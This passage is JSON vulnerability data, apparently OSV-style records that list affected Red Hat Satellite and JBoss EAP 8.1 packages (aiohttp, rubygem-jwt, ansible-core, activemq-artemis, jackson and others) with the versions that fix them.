Hat:satellite:6.16::el8","package":"python3.11-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el8sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el8","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el8sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el8sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_maintenance:6.19::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.19::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"pulpcore-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.1-5.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.73.30-3.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"pulpcore-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.1-5.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.73.30-3.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_maintenance:6.18::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.18::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_maintenance:6.17::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.17::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-jakarta-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-jakarta-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-jakarta-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-jakarta-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-apache-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-apache-cxf-rt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-apache-cxf-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-apache-cxf-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-artemis-wildfly-integration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.5-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-bouncycastle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-bouncycastle-jmail","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-bouncycastle-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-bouncycastle-pkix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-bouncycastle-prov","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-bouncycastle-util","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-codemodel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-cryptacular","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.7-1.redhat_00002.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-eap-product-conf-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.8.0-1.GA_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-eap-product-conf-wildfly-ee-feature-pack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.8.0-1.GA_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-hibernate","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-hibernate-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-hibernate-envers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-httpcomponents-asyncclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.5-5.redhat_00008.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-dataformat-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-dataformats-text","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red 